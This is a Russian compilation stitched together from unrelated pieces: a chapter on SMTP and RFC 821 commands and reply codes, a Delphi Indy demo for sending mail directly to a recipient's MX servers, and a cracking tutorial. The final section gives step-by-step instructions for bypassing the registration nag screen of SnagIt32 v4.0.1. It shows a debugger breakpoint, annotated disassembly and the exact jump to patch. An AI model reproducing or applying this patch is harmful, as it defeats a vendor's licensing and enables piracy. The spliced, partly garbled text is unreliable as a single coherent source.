Агент передачи почты - основной компонент системы передачи почты Internet. Как уже говорилось, МТА как бы представляет данный сетевой компьютер для сетевой системы электронной почты. Пользователи редко имеют дело с МТА, поскольку он не вполне "дружелюбен", однако без него не обходится ни одна почтовая система. После того как UA пошлет сообщение в выходную очередь, за дело принимается МТА. Он извлекает сообщение и посылает его другому МТА. Этот процесс продолжается до тех пор, пока сообщение не достигнет компьютера-получателя. Для передачи сообщений по TCP-соединению большинство МТА пользуются протоколом SMTP. Сообщения форматированы по правилам виртуального сетевого терминала (NVT), то есть в NVT ASCII. NVT подобен виртуальному сетевому протоколу и нужен затем, чтобы скрыть различия в восприятии разными компьютерами разных символов, например переводов каретки, переводов строки, маркеров конца строки, очистки экрана и т. д. Символ в NVT состоит из семи битов набора ASCII и является буквой, цифрой или знаком пунктуации. Семи битный набор ASCII часто называется NVT ASCII.
Модель протокола
Взаимодействие в рамках SMTP строится по принципу двусторонней связи, которая устанавливается между отправителем и получателем почтового сообщения. При этом отправитель инициирует соединение и посылает запросы на обслуживание, а получатель - отвечает на эти запросы. Фактически отправитель выступает в роли клиента, а получатель - сервера.
Канал связи устанавливается непосредственно между отправителем и получателем сообщения. При таком взаимодействии почта достигает абонента в течение нескольких секунд после отправки.
Команды SMTP
Простой протокол передачи почты обеспечивает двухсторонний обмен сообщениями между локальным клиентом и удаленным сервером МТА. МТА-клиент шлет команды МТА-серверу, а он, в свою очередь, отвечает клиенту. Другими словами, протокол SMTP требует получать ответы (они описаны в этой главе) от приемника команд SMTP. Обмен командами и ответами на них называется почтовой транзакцией (mail transaction). Данные, как мы уже говорили, передаются в формате NVT ASCII. Кроме того, команды тоже передаются в формате NVT ASCII. Команды передаются в форме ключевых слов, а не специальных символов, и указывают на необходимость совершить ту или иную операцию. В табл.1 приведен список ключевых слов (команд), определенный в спецификации SMTP - RFC 821.
| Команда | Обязательна | Описание |
| HELO | X | Идентифицирует модуль-передатчик для модуля-приемника (hello). |
| X | Начинает почтовую транзакцию, которая завершается передачей данных в один или несколько почтовых ящиков (mail). | |
| RCPT | X | Идентифицирует получателя почтового сообщения (recipient). |
| DATA | Строки, следующие за этой командой, рассматриваются получателем как данные почтового сообщения. В случае SMTP, почтовое сообщение заканчивается комбинацией символов: CRLF-точка-CRLF. | |
| RSET | Прерывает текущую почтовую транзакцию (reset). | |
| NOOP | Требует от получателя не предпринимать никаких действий, а только выдать ответ ОК. Используется главным образом для тестирования.(No operation). | |
| QUIT | Требует выдать ответ ОК и закрыть текущее соединение. | |
| VRFY | Требует от приемника подтвердить, что ее аргумент является действительным именем пользователя. (См. примечание.). | |
| SEND | Начинает почтовую транзакцию, доставляющую данные на один или несколько терминалов (а не в почтовый ящик). | |
| SOML | Начинает транзакцию MAIL или SEND, доставляющую данные на один или несколько терминалов или в почтовые ящики. | |
| SAML | Начинает транзакцию MAIL и SEND, доставляющие данные на один или несколько терминалов и в почтовые ящики. | |
| EXPN | Команда SMTP-приемнику подтвердить, действительно ли аргумент является адресом почтовой рассылки и если да, вернуть адрес получателя сообщения (expand). | |
| HELP | Команда SMTP-приемнику вернуть сообщение-справку о его командах. | |
| TURN | Команда SMTP-приемнику либо сказать ОК и поменяться ролями, то есть стать STMP- передатчиком, либо послать сообщение-отказ и остаться в роли SMTP-приемника. | |
Примечание: В RFC 821 сказано, что команда VRFY не является обязательной для минимального набора команд SMTP. Однако в RFC 1123 (Requirements for Internet Hosts - Application and Support,Braden, 1989), команда VRFY фигурирует в списке обязательных для Internet команд реализации SMTP.
В соответствии со спецификацией команды, помеченные крестиком (X) в табл.1, обязаны присутствовать в любой реализации SMTP. Остальные команды SMTP могут быть реализованы дополнительно. Каждая SMTP-команда должна заканчиваться либо пробелом (если у нее есть аргумент), либо комбинацией CRLF. В описании команд употреблялось слово <данные", а не <сообщение>. Этим подчеркивалось, что, кроме текста, SMTP позволяет передавать и двоичную информацию, например графические или звуковые файлы. Другими словами, SMTP способен передавать данные любого содержания, а не только текстовые сообщения. Это значит, что, рассматривая вопросы, касающиеся SMTP, не забывайте, что термин "сообщениее" обозначает не только текстовые данные. </p><p> <b>Последовательность команд SMTP</b> </p><p> Как мы уже отмечали, SMTP обеспечивает двухстороннюю связь между агентами передачи почты (МТА), клиентом и сервером. Клиенты шлют команды серверу, а серверы отвечают клиентам. Однако SMTP оговаривает последовательность SMTP-команд. Лучший способ понять это - взглянуть на образец почтовой транзакции. Следующий пример (он взят целиком из RFC 821) демонстрирует типичную почтовую транзакцию. В примере фигурирует мистер Smith (на компьютере usc.edu), посылающий сообщения мистерам Jones, Green и Brown (на компьютере mit.edu). Агент передачи почты хоста mit.edu принимает почту для мистеров Jones и Brown, однако не знает, где расположен почтовый ящик мистера Green. </p><p> Для целей дальнейшего повествования каждой строке присвоен номер и обозначено, кому они принадлежат - передатчику или приемнику. Текст справа от слов <RECEIVER> или <SENDER> содержит действительно передаваемые данные. Трехзначные цифровые комбинации в начале передаваемых строк обозначают коды ответа (их значение объясняется позже). Ответ SMTP похож на сообщения-подтверждения о доставке, поскольку появляется лишь в том случае, когда приемник получил данные. </p> <ol> <li>RECEIVER 220 mit.edu Simple Mail Transfer Service Ready </li> <li>SENDER HELO usc.edu </li> <li>RECEIVER 250 mit.edu </li> <li>SENDER MAIL FROM: <Smith@usc.edu></li> <li>RECEIVER 250 OK </li> <li>SENDER RCPT TO:<Jones@mit.edu></li> <li>RECEIVER 250 OK </li> <li>SENDER RCPT TO:<Green@mit.edu> </li> <li>RECEIVER 550 No such user here </li> <li>SENDER RCPT TO:<Brown@mit.edu></li> <li>RECEIVER 250 OK </li> <li>SENDER DATA </li> <li>RECEIVER 354 Start mail input; end with <CRLF>.<CRLF></li> <li>SENDER Blah blah blah... </li> <li>SENDER ...etc. etc. etc. </li> <li>SENDER . </li> <li>RECEIVER 250 OK </li> <li>SENDER QUIT </li> <li>RECEIVER 221 mit.edu Service closing transmission channel </li> </ol> <p> Как видно из строки 1, когда SMTP-клиент устанавливает TCP-соединение с портом протокола 25, SMTP-сервер отвечает кодом 220. Это означает, что соединение успешно установлено: </p> <ol start=1> <li>RECEIVER: 220 mit.edu Simple Mail Transfer Service Ready</li> </ol> <p> После того как MTA компьютеров mit.edu и usc.edu установили соединение и обменялись приветствием, первой командой, согласно спецификации, должна быть команда HELO. Как указано в строке 2, SMTP-клиент передает HELO, указывая имя своего компьютера в качестве аргумента. Другими словами, он сообщает: <Привет, я - usc.edu>. Команда HELO употребляется с аргументом, как показано ниже: </p> <ol start=2> <li>SENDER: HELO usc.edu</li> </ol> <p> В ответ на HELO приемник выдает код 250, сообщая передатчику о том, что команда принята и обработана: </p> <ol start=3> <li>RECEIVER: 250 mit.edu</li> </ol> <p> После установления TCP-соединения и идентификации (при помощи HELO) SMTP-клиент приступает к почтовой транзакции. Для начала он выполняет одну из следующих команд: MAIL, SEND, SOML или SAML. В нашем примере использована команда MAIL: </p> <ol start=4> <li>SENDER: MAIL FROM:<Smith@usc.edu></li> </ol> <p> Все четыре команды, MAIL, SEND, SOML и SAML, имеют одинаковый синтаксис: </p> <ul type=square> <li>MAIL <пробел> FROM:<reverse-path> <carriage-return line-feed></li> </ul> <p> Примечание: Команды SEND, SOML и SAML дополнительны и используются довольно редко. </p> <p> Аргумент <обратный путь> (reverse path) указывает серверу, кому в случае ошибки отослать соответствующее сообщение. Мы еще рассмотрим его подробнее. На данный момент для нас важно, что в аргументе содержится адрес источника сообщения (в нашем случае, Smith@usc,edu). После того как сервер выдал код ответа 250 (строка 5), согласившись обработать сообщение от Smith@usc.edUt необходимо указать получателя сообщения. Это делается при помощи команды RCPT. Команда RCPT имеет аргумент - имя получателя. На одну команду приходится только одно имя, поэтому, если получателей несколько, команда RCPT выдается несколько раз. В нашем примере команды RCPT выполняются в строках 6, 8 и 10. Синтаксис RCPT похож на синтаксис команды MAIL: </p> <ul type=square> <li>RCPT <пробел> TO:<forward-path> <CRLF></li> </ul> <p> Однако, в отличие от MAIL, аргумент RCPT начинается со слова <ТО:>. Содержимое аргумента - путь передачи сообщения (forward path), а не обратный путь. На данный момент для нас важно, что в пути передачи сообщения указано имя почтового ящика получателя. Выдав команду RCPT, МТА-клиент ожидает получить ответ с кодом 250. Однако в ответ на восьмую строку </p> <ol start=8> <li>SENDER: RCPT TO:<Green@mit.edu></li> </ol> <p> сервер отвечает кодом 550: </p> <ol start=9> <li>RECEIVER: 550 No such user here</li> </ol> <p> Код ответа 550 означает, что МТА не в состоянии выполнить запрос клиента, поскольку не знает, как доставить почту указанному пользователю. То есть, скорее всего, у мистера по фамилии Green нет почтового ящика (Green@mit,edu) на этом компьютере. В протоколе SMTP сказано, что сервер обязан информировать клиента об отсутствии почтового ящика получателя сообщения. Однако в спецификации SMTP ничего не говорится о том, как клиент должен реагировать на это сообщение. </p> <p> После того как посланы все команды RCPT, клиент начинает передачу данных при помощи команды DATA. В строке 12 показано, как МТА-клиент (передатчик) высылает команду DATA, в строке 13 - как сервер отвечает кодом 354. Этот код означает, что передача данных разрешена и должна заканчиваться комбинацией CRLF-<точка>-CRLF (новой строкой, содержащей только точку). </p> <ol start=12> <li>SENDER: DATA</li> <li>RECEIVER: 354 Start mail input; end with <CRLF>.<CRLF></li> </ol> <p> После того как получен код 354, клиент может начать передачу данных. МТА-сервер, в свою очередь, помещает принятые данные в очереди входящих сообщений. Сервер не высылает никаких ответов до тех пор, пока не получит комбинацию CRLF-точка-CRLF от клиента, означающую конец передачи данных. Как показано в строках 16 и 17, в ответ на полученную комбинацию CRLF-<точка>-CRLF, сервер выдает код 250. Как мы уже говорили, код ответа 250 означает успешное окончание операции: </p> <ol start=16> <li>SENDER:</li> <li>RECEIVER: 250 OK</li> </ol> <p> Для того чтобы закончить почтовую транзакцию, клиент, по правилам SMTP, обязан послать команду QUIT. Сервер, в свою очередь, отвечает кодом 221. Этот код подтверждает клиенту, что соединение будет закрыто, после чего соединение действительно закрывается: </p> <ol start=18> <li>SENDER: QUIT</li> <li>RECEIVER: 221 mit.edu Service closing transmission channel</li> </ol> <p> В любой момент во время транзакции клиент может использовать команды NOOP, HELP, EXPN и VRFY. В ответ на каждую команду сервер высылает клиенту определенную информацию. Конечно, в зависимости от ответа клиент может предпринять определенные действия, однако спецификация SMTP ничего не говорит по этому поводу. Например, клиент-МТА может передать команду VRFY для того, чтобы убедиться, что имя пользователя действительно. Если сервер ответит, что данного имени не существует, клиент МТА может не передавать почту для этого пользователя. В спецификации SMTP, однако, на этот счет нет никаких указаний - клиент может ничего не делать в ответ на команду VRFY. МТА-клиент может ничего не делать также в ответ на команды NOOP, HELP и EXPN - ответственность целиком лежит на разработчике конкретной реализации МТА. </p><p> <b>Коды ответов SMTP</b> </p><p> В спецификации SMTP требуется, чтобы сервер отвечал на каждую команду SMTP-клиента. МТА-сервер отвечает трехзначной комбинацией цифр, называемой кодом ответа. Вместе с кодом ответа, как правило, передается одна или несколько строк текстовой информации. </p><p> Примечание: Несколько строк текста, как правило, сопровождают только команды EXPN и HELP.В спецификации SMTP, однако, ответ на любую команду может состоять из нескольких строк текста. </p><p> Каждая цифра в коде ответа имеет определенный смысл. Первая цифра означает, было ли выполнение команды успешно (2), неуспешно (5) или еще не закончилось (3). Как указано в приложении Е документа RFC 821, простой SMTP-клиент может анализировать только первую цифру в ответе сервера, и на основании ее продолжать свои действия. Вторая и третья цифры кода ответа разъясняют значение первой. Если вы разрабатываете SMTP-приложение, обязательно изучите конструкцию всех кодов SMTP-ответа. То, как коды составлены в самом SMTP - превосходный образец грамотного подхода к делу. В табл.2 приведены возможные значения кодов ответа SMTP, определенные в RFC 821. </p><p> Коды ответа SMTP и их значение </p> <ul type=square> <li>211 Ответ о состоянии системы или помощь </li> <li>214 Сообщение-подсказка (помощь) </li> <li>220 <имя_домена> служба готова к работе </li> <li>221 <имя_домена> служба закрывает канал связи </li> <li>250 Запрошенное действие почтовой транзакции успешно завершилось </li> <li>251 Данный адресат не является местным; сообщение будет передано по маршруту <forward-path></li> <li>354 Начинай передачу сообщения. Сообщение заканчивается комбинацией CRLF-точка-CRLF </li> <li>421 <имя_домена> служба недоступна; соединение закрывается </li> <li>450 Запрошенная команда почтовой транзакции не выполнена, так как почтовый ящик недоступен </li> <li>451 Запрошенная команда не выполнена; произошла локальная ошибка при обработке сообщения </li> <li>452 Запрошенная команда не выполнена; системе не хватило ресурсов </li> <li>500 Синтаксическая ошибка в тексте команды; команда не опознана </li> <li>501 Синтаксическая ошибка в аргументах или параметрах команды </li> <li>502 Данная команда не реализована </li> <li>503 Неверная последовательность команд </li> <li>504 У данной команды не может быть аргументов </li> <li>550 Запрошенная команда не выполнена, так как почтовый ящик недоступен </li> <li>551 Данный адресат не является местным; попробуйте передать сообщение по маршруту <forward-path></li> <li>552 Запрошенная команда почтовой транзакции прервана; дисковое пространство, доступное системе, переполнилось </li> <li>553 Запрошенная команда не выполнена; указано недопустимое имя почтового ящика </li> <li>554 Транзакция не выполнена </li> </ul> <p> <b>Промежуточные агенты</b> </p><p> Термин "маршрут доставки" (forward-path) служит для того, чтобы отличать почтовый ящик (mailbox), имя которого абсолютно, от пути (он может быть различным), по которому следует почта. Предположим, что мы хотим доставить два почтовых сообщения на один и тот же сетевой компьютер. Оба сообщения имеют один и тот же адрес, однако не обязательно будут следовать по одному и тому же маршруту. Точно так же, если на пришедшие сообщения выдаются ответы, они не обязательно будут следовать по указанному обратному маршруту (reverse-path). Как правило, конкретный маршрут для почты выбирается системным администратором. Чтобы направить почту по нужному пути, используются значения маршрута доставки и обратного маршрута, в которых указываются промежуточные агенты (relay agents). Промежуточный агент доставки - это МТА, так называемый почтовый хаб (mail hub), настроенный на передачу транзитной почты. Чтобы доставить сообщение, местный агент пользователя (UA) передает его местному МТА, который, в свою очередь, передает его промежуточному агенту МТА. В следующем примере Smith@usc.edu является почтовым ящиком, a HOSTI, HOST2 и HOST3 - промежуточными агентами: </p> <table><tr><td><br> <pre> MAIL FROM:<@HOSTI, @HOST2, @HOST3:Smith@usc.edu> </pre> </td></tr></table><br> <p> В наше время промежуточные агенты присутствуют практически во всех сетях, входящих в Internet. На рис.6 приведена типичная конфигурация почтовой системы Internet с участием промежуточных агентов. </p><p> Чтобы упростить процесс конфигурации почтовой системы, в локальной сети устанавливается один компьютер, служащий промежуточным агентом (relay host). Вся почта пользователей попадает сначала на него. Затем этот компьютер рассылает сообщения по Internet. Кроме всего прочего, такой компьютер может служить защитой фирмы от взломщиков-хакеров из Internet. Ограничивая общение локальной сети с внешним миром до уровня почты, организация сводит до минимума риск нежелательного вторжения в свои собственные системы. </p><p> Кроме того, администрировать и защищать в этом случае приходится единственный компьютер. SMTP в состоянии послать сообщение непосредственно с компьютера пользователя на компьютер адресата в том случае, если между ними существует прямое почтовое соединение. К сожалению, это далеко не всегда так. Как правило, между двумя компьютерами находится один или несколько промежуточных агентов. Чтобы обеспечить доставку, в почтовом сообщении нужно указать имя компьютера-получателя и точное наименование почтового ящика. Аргументом команды MAIL является обратный маршрут, включающий имя источника сообщения и имена всех промежуточных агентов. Аргумент команды RCPT - маршрут доставки, содержащий имя получателя сообщения. Обратный маршрут описывает путь, который прошло сообщение, тогда как маршрут доставки идентифицирует место назначения. Обратный маршрут используется SMTP, когда нужно передать сообщение о случившейся ошибке или о невозможности доставить сообщение, когда оно уже прошло через промежуточный агент. По мере продвижения сообщения по Internet записи о его маршрутах изменяются. В обязанности системных администраторов входит правильно настраивать местные МТА на передачу сообщений промежуточному агенту, и наоборот, промежуточные агенты на доставку сообщений местным МТА. Если у промежуточного МТА изменится имя, все, что нужно сделать в конфигурации местного МТА - изменить имя компьютера в системе DNS. Другие параметры конфигурации не изменяются. Другими словами, повторим еще раз, что иметь один компьютер для промежуточной доставки - значит, снять с себя значительную часть головной боли по настройке почтовой системы - ведь придется заботиться только об одном компьютере. </p><p> Рассмотрим почтовую транзакцию между промежуточными агентами SMTP. До того как сообщение будет передано следующему указанному в маршруте (в поле ТО:) компьютеру, имя данного компьютера удаляется из маршрута доставки и добавляется в начало обратного маршрута. К тому моменту, когда сообщение достигнет пункта назначения, маршрут доставки будет содержать только имя почтового ящика. В RFC 821 приведен пример того, как изменяется содержимое маршрутов по мере обработки почтового сообщения. Когда промежуточный агент А получает почту со следующими аргументами: </p> <table><tr><td><br> <pre> FROM: <USERX@HOSTY.ARPA> TO: <@HOSTA.ARPA, @HOSTB.ARPA: USERC@HOSTD.ARPA> </pre> </td></tr></table><br> <p> он переправляет почту сетевому компьютеру В со следующими аргументами: </p> <table><tr><td><br> <pre> FROM: <@HOSTA.ARPA: USERX@HOSTY.ARPA> TO: <@HOSTB.ARPA: USERC@HOSTD.ARPA> </pre> </td></tr></table><br> <p> Как видим, промежуточный агент A (HOSTA.ARPA) убрал свое имя из заголовка <ТО:> и добавил в заголовок <FROM:>. Промежуточный агент компьютера В совершит аналогичное действие, и следующим пунктом назначения сообщения будет почтовый ящик USERC на компьютере HOSTD.ARPA. </p><p> Примечание: <blоскquоtе>Другими словами, обратные маршруты и маршруты доставки строятся агентами передачи почты по мере прохождения сообщения от одного агента к следующему. Если очередной на пути сообщения SMTP-агент не умеет обслуживать промежуточную доставку, он должен ответить таким же кодом, какой предусмотрен на случай отсутствия местного почтового ящика.</blockquote> </p> <!-- end -->Использование SMTP Relay Server.
Автор: Vit WEB-сайт: http://forum.vingrad.ruИспользование SMTP Relay Server - отсылка письма напрямую минуя любые промежуточные сервера (пример взят из библиотеки Indy). Для отсылки письма с использованием компонентов Indy. Пример для Delphi 7 (скорее всего будет работать и в Delphi 6), для Kylix 3 нужны небольшие исправления для перевода в CLX приложение (сама функциональность та же).
unit fMain;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
IdTCPConnection, IdTCPClient, IdMessageClient, IdSMTP, IdComponent,
IdUDPBase, IdUDPClient, IdDNSResolver, IdBaseComponent, IdMessage,
StdCtrls, ExtCtrls, ComCtrls, IdAntiFreezeBase, IdAntiFreeze;
type
TfrmMain = class(TForm)
IdMessage: TIdMessage;
IdDNSResolver: TIdDNSResolver;
IdSMTP: TIdSMTP;
Label1: TLabel;
sbMain: TStatusBar;
Label2: TLabel;
edtDNS: TEdit;
Label3: TLabel;
Label4: TLabel;
edtSender: TEdit;
Label5: TLabel;
edtRecipient: TEdit;
Label6: TLabel;
edtSubject: TEdit;
Label7: TLabel;
mmoMessageText: TMemo;
btnSendMail: TButton;
btnExit: TButton;
IdAntiFreeze: TIdAntiFreeze;
Label8: TLabel;
edtTimeOut: TEdit;
Label9: TLabel;
Label10: TLabel;
procedure btnExitClick(Sender: TObject);
procedure btnSendMailClick(Sender: TObject);
public
fMailServers: TStringList;
function PadZero(s: string): string;
function GetMailServers: Boolean;
function ValidData: Boolean;
procedure SendMail; overload;
function SendMail(aHost: string): Boolean; overload;
procedure LockControls;
procedure UnlockControls;
procedure Msg(aMessage: string);
end;
var
frmMain: TfrmMain;
implementation
{$R *.DFM}
procedure TfrmMain.btnExitClick(Sender: TObject);
begin
application.terminate;
end;
procedure TfrmMain.btnSendMailClick(Sender: TObject);
begin
Msg('');
LockControls;
if ValidData then
SendMail;
UnlockControls;
Msg('');
end;
function TfrmMain.GetMailServers: Boolean;
var
i, x: integer;
LDomainPart: string;
LMXRecord: TMXRecord;
begin
if not assigned(fmailServers) then
fMailServers := TStringList.Create;
fmailServers.clear;
Result := true;
with IdDNSResolver do
begin
QueryResult.Clear;
QueryRecords := [qtMX];
Msg('Setting up DNS query parameters');
Host := edtDNS.text;
ReceiveTimeout := StrToInt(edtTimeOut.text);
// Extract the domain part from recipient email address
LDomainPart := copy(edtRecipient.text, pos('@', edtRecipient.text) + 1,
length(edtRecipient.text));
// the domain name to resolve
try
Msg('Resolving DNS');
Resolve(LDomainPart);
if QueryResult.Count > 0 then
begin
for i := 0 to QueryResult.Count - 1 do
begin
LMXRecord := TMXRecord(QueryResult.Items[i]);
fMailServers.Append(PadZero(IntToStr(LMXRecord.Preference)) + '=' +
LMXRecord.ExchangeServer);
end;
// sort in order of priority and then remove extra data
fMailServers.Sorted := false;
for i := 0 to fMailServers.count - 1 do
begin
x := pos('=', fMailServers.Strings[i]);
if x > 0 then
fMailServers.Strings[i] :=
copy(fMailServers.Strings[i], x + 1,
length(fMailServers.Strings[i]));
end;
fMailServers.Sorted := true;
fMailServers.Duplicates := dupIgnore;
Result := true;
end
else
begin
Msg('No response from DNS server');
MessageDlg('There is no response from the DNS server !', mtInformation,
[mbOK], 0);
Result := false;
end;
except
on E: Exception do
begin
Msg('Error resolving domain');
MessageDlg('Error resolving domain: ' + e.message, mtInformation,
[mbOK], 0);
Result := false;
end;
end;
end;
end;
// Used in DNS preferance sorting
procedure TfrmMain.LockControls;
var
i: integer;
begin
edtDNS.enabled := false;
edtSender.enabled := false;
edtRecipient.enabled := false;
edtSubject.enabled := false;
mmoMessageText.enabled := false;
btnExit.enabled := false;
btnSendMail.enabled := false;
end;
procedure TfrmMain.UnlockControls;
begin
edtDNS.enabled := true;
edtSender.enabled := true;
edtRecipient.enabled := true;
edtSubject.enabled := true;
mmoMessageText.enabled := true;
btnExit.enabled := true;
btnSendMail.enabled := true;
end;
function TfrmMain.PadZero(s: string): string;
begin
if length(s) < 2 then
s := '0' + s;
Result := s;
end;
procedure TfrmMain.SendMail;
var
i: integer;
begin
if GetMailServers then
begin
with IdMessage do
begin
Msg('Assigning mail message properties');
From.Text := edtSender.text;
Sender.Text := edtSender.text;
Recipients.EMailAddresses := edtRecipient.text;
Subject := edtSubject.text;
Body := mmoMessageText.Lines;
end;
for i := 0 to fMailServers.count - 1 do
begin
Msg('Attempting to send mail');
if SendMail(fMailServers.Strings[i]) then
begin
MessageDlg('Mail successfully sent and available for pickup by recipient !',
mtInformation, [mbOK], 0);
Exit;
end;
end;
// if we are here then something went wrong ..
// ie there were no available servers to accept our mail!
MessageDlg('Could not send mail to remote server - please try again later.',
mtInformation, [mbOK], 0);
end;
if assigned(fMailServers) then
FreeAndNil(fMailServers);
end;
function TfrmMain.SendMail(aHost: string): Boolean;
begin
Result := false;
with IdSMTP do
begin
Caption := 'Trying to sendmail via: ' + aHost;
Msg('Trying to sendmail via: ' + aHost);
Host := aHost;
try
Msg('Attempting connect');
Connect;
Msg('Successful connect ... sending message');
Send(IdMessage);
Msg('Attempting disconnect');
Disconnect;
msg('Successful disconnect');
Result := true;
except on E: Exception do
begin
if connected then
try
disconnect;
except
end;
Msg('Error sending message');
result := false;
ShowMessage(E.Message);
end;
end;
end;
Caption := '';
end;
function TfrmMain.ValidData: Boolean;
var
ErrString: string;
begin
Result := True;
ErrString := '';
if trim(edtDNS.text) = '' then
ErrString := ErrString + #13 + '»' + 'DNS server not filled in';
if trim(edtSender.text) = '' then
ErrString := ErrString + #13 + '»' + 'Sender email not filled in';
if trim(edtRecipient.text) = '' then
ErrString := ErrString + #13 + '»' + 'Recipient not filled in';
if ErrString <> '' then
begin
MessageDlg('Cannot proceed due to the following errors:' + #13 + #10 +
ErrString, mtInformation, [mbOK], 0);
Result := False;
end;
end;
procedure TfrmMain.Msg(aMessage: string);
begin
sbMain.SimpleText := aMessage;
application.ProcessMessages;
end;
end.
Форма для модуля:
object frmMain: TfrmMain
Left = 243
Top = 129
Width = 448
Height = 398
Caption = 'INDY - SMTP Relay Demo'
Color = clBtnFace
Font.Charset = DEFAULT_CHARSET
Font.Color = clWindowText
Font.Height = -11
Font.Name = 'MS Sans Serif'
Font.Style = []
OldCreateOrder = False
PixelsPerInch = 96
TextHeight = 13
object Label1: TLabel
Left = 7
Top = 8
Width = 311
Height = 26
Caption =
'Demonstrates sending mail directly to a users mailbox on a remot' +
'e mailserver - this negates the need for a local SMTP server'
Font.Charset = DEFAULT_CHARSET
Font.Color = clGray
Font.Height = -11
Font.Name = 'MS Sans Serif'
Font.Style = []
ParentFont = False
WordWrap = True
end
object Label2: TLabel
Left = 8
Top = 64
Width = 111
Height = 13
Caption = 'DNS server IP address:'
end
object Label3: TLabel
Left = 8
Top = 123
Width = 104
Height = 13
Caption = 'Sender email address:'
end
object Label4: TLabel
Left = 288
Top = 64
Width = 49
Height = 13
Caption = 'Required !'
Font.Charset = DEFAULT_CHARSET
Font.Color = clGray
Font.Height = -11
Font.Name = 'MS Sans Serif'
Font.Style = []
ParentFont = False
end
object Label5: TLabel
Left = 8
Top = 150
Width = 115
Height = 13
Caption = 'Recipient email address:'
end
object Label6: TLabel
Left = 8
Top = 177
Width = 72
Height = 13
Caption = 'Subject of mail:'
end
object Label7: TLabel
Left = 8
Top = 204
Width = 66
Height = 13
Caption = 'Message text:'
end
object Label8: TLabel
Left = 8
Top = 91
Width = 95
Height = 13
Caption = 'DNS server timeout:'
end
object Label9: TLabel
Left = 336
Top = 124
Width = 49
Height = 13
Caption = 'Required !'
Font.Charset = DEFAULT_CHARSET
Font.Color = clGray
Font.Height = -11
Font.Name = 'MS Sans Serif'
Font.Style = []
ParentFont = False
end
object Label10: TLabel
Left = 336
Top = 148
Width = 49
Height = 13
Caption = 'Required !'
Font.Charset = DEFAULT_CHARSET
Font.Color = clGray
Font.Height = -11
Font.Name = 'MS Sans Serif'
Font.Style = []
ParentFont = False
end
object sbMain: TStatusBar
Left = 0
Top = 352
Width = 440
Height = 19
Panels = <>
end
object edtDNS: TEdit
Left = 128
Top = 60
Width = 153
Height = 21
TabOrder = 1
end
object edtSender: TEdit
Left = 128
Top = 119
Width = 205
Height = 21
TabOrder = 2
end
object edtRecipient: TEdit
Left = 128
Top = 146
Width = 205
Height = 21
TabOrder = 3
end
object edtSubject: TEdit
Left = 128
Top = 173
Width = 205
Height = 21
TabOrder = 4
end
object mmoMessageText: TMemo
Left = 128
Top = 200
Width = 205
Height = 113
TabOrder = 5
end
object btnSendMail: TButton
Left = 258
Top = 321
Width = 75
Height = 25
Caption = 'Send mail !'
TabOrder = 6
OnClick = btnSendMailClick
end
object btnExit: TButton
Left = 356
Top = 8
Width = 75
Height = 25
Caption = 'E&xit'
TabOrder = 7
OnClick = btnExitClick
end
object edtTimeOut: TEdit
Left = 128
Top = 87
Width = 61
Height = 21
TabOrder = 8
Text = '5000'
end
object IdMessage: TIdMessage
AttachmentEncoding = 'MIME'
BccList = <>
CCList = <>
Encoding = meMIME
Recipients = <>
ReplyTo = <>
Left = 12
Top = 236
end
object IdDNSResolver: TIdDNSResolver
Port = 53
ReceiveTimeout = 60
QueryRecords = []
Left = 12
Top = 268
end
object IdSMTP: TIdSMTP
MaxLineAction = maException
ReadTimeout = 0
Port = 25
AuthenticationType = atNone
Left = 12
Top = 204
end
object IdAntiFreeze: TIdAntiFreeze
Left = 12
Top = 300
end
end
Исследование SnagIt32 v4.0.1.
Оформил: DeeCo Автор: http://www.cracklab.narod.ru
Как всегда :) попалась ко мне в руки эта программка, которая очень даже мудрым образом снимает скриншоты и текст любой сложности с экрана, Но и даже может сгенерировать по вашим манипуляциям целый видеофильм, типа "Как я пытался пьяным нажать на Пуск", и всё это сохранить в авишник или gif. Короче программа бесспорно нужная и приятная сердцу. Но (как всегда) возникло одно НО: программа шароварная и постоянно выскакивают напоминания о незарегистрированности. Эти напоминания очень смахивают на обычные Окна. Для начала я попытался стандартными методами, но ничего не смог найти, тогда я вспомнил, что когда хочешь сделать окно видимым (enabled) то надо юзать АПИшную функцию EnableWindow. Так вот, я ставлю в айсе бряк на эту самую функцию: bpx EnableWindow do "p ret" выхожу из айса и запускаю программу и почти сразу оказываюсь тут::0043FF94 FF15F8EF4700 call USER32.EnableWindow :0043FF9A C745E401000000 mov [ebp-1C], 00000001посмотрим немного выше в поисках какого-нибудь условного перехода, который уведёт нас далеко от текущей позиции (поближе к ret из функции) И я нашёл такой переход немного выше:
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0043FF4D(C)
|
:0043FF59 837DEC00 cmp dword ptr [ebp-14], 00000000 ;перед этим чего-то проверили
:0043FF5D 7508 jne 0043FF67 ;если мы анрегистред - то прыгаем
:0043FF5F 83C8FF or eax, FFFFFFFF
:0043FF62 E9EC000000 jmp 00440053 ;иначе прыгаем на выход из функции и никакого напоминания не показываем
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0043FF5D(C)
|
:0043FF67 8BCE mov ecx, esi
:0043FF69 E81AFFFFFF call 0043FE88
:0043FF6E 8BF8 mov edi, eax
:0043FF70 897DE0 mov dword ptr [ebp-20], edi
:0043FF73 E8480D0000 call 00440CC0
:0043FF78 57 push edi
:0043FF79 E8E5070000 call 00440763
:0043FF7E 8365E400 and dword ptr [ebp-1C], 00000000
:0043FF82 85FF test edi, edi
:0043FF84 741B je 0043FFA1
:0043FF86 57 push edi
* Reference To: USER32.IsWindowEnabled, Ord:0168h ;проверяют активно ли главное окно
|
:0043FF87 FF15D0EF4700 Call dword ptr [0047EFD0]
:0043FF8D 85C0 test eax, eax
:0043FF8F 7410 je 0043FFA1 ;если нет то прыгаем....
:0043FF91 6A00 push 00000000
:0043FF93 57 push edi
* Reference To: USER32.EnableWindow, Ord:00B2h ;...иначе - делаем его неактивным
|
:0043FF94 FF15F8EF4700 Call dword ptr [0047EFF8]
:0043FF9A C745E401000000 mov [ebp-1C], 00000001
Как оказалось напоминание показывается не функцией enablewindow, а чем-то другим, а enablewindow назначалась главному окну, которое должно было бы стать disabled, когда появится окно напоминания!!! Но нам повезло, и место проверки "А нужно ли напоминание" оказалось рядом, а именно по адресу: :0043FF5D 7508 jne 0043FF67тут нужно, чтобы мы никогда не прыгали, т.е. поменяем команду jne 0043FF67 на jne 0043FF5F. Можете проверить - при старте никакого напоминания нет! Ура. Теперь я могу не отвлекаться на то, чтобы каждый раз закрывать окно с напоминаниями! Ну а для тех, у кого нифига не получилось, как всегда готовый крак:
